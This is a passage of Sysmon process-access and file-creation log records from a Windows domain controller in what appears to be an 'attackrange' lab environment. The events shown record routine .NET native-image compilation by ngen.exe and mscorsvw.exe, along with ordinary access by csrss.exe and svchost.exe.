12:03:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7817,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:10.948\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FE-5F2D-0000-001080140F00}\r\nTargetProcessId: 4652\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:10.948","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FE-5F2D-0000-001080140F00}","TargetProcessId":"4652","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7818,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:10.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FE-5F2D-0000-001080140F00}\r\nTargetProcessId: 4652\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:10.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FE-5F2D-0000-001080140F00}","TargetProcessId":"4652","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7819,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:11.432\r\nProcessGuid: {90617006-42FE-5F2D-0000-001080140F00}\r\nProcessId: 4652\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\122c-0\\System.Runtime.DurableInstancing.dll\r\nCreationUtcTime: 2020-08-07 12:03:11.432","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:11.432","ProcessGuid":"{90617006-42FE-5F2D-0000-001080140F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\122c-0\\System.Runtime.DurableInstancing.dll","CreationUtcTime":"2020-08-07 12:03:11.432","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7820,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:11.701\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FF-5F2D-0000-0010151A0F00}\r\nTargetProcessId: 4352\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:11.701","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FF-5F2D-0000-0010151A0F00}","TargetProcessId":"4352","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7821,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:11.701\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FF-5F2D-0000-0010151A0F00}\r\nTargetProcessId: 4352\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:11.701","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FF-5F2D-0000-0010151A0F00}","TargetProcessId":"4352","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7822,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:11.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FF-5F2D-0000-0010151A0F00}\r\nTargetProcessId: 4352\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:11.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FF-5F2D-0000-0010151A0F00}","TargetProcessId":"4352","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7823,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:11.854\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42DE-5F2D-0000-0010B0030E00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:11.854","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42DE-5F2D-0000-0010B0030E00}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7824,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:11.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42DE-5F2D-0000-0010B0030E00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:11.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42DE-5F2D-0000-0010B0030E00}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7825,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:11.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FF-5F2D-0000-0010151D0F00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:11.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FF-5F2D-0000-0010151D0F00}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7826,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:12.244\r\nProcessGuid: {90617006-42FF-5F2D-0000-0010151D0F00}\r\nProcessId: 4784\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: 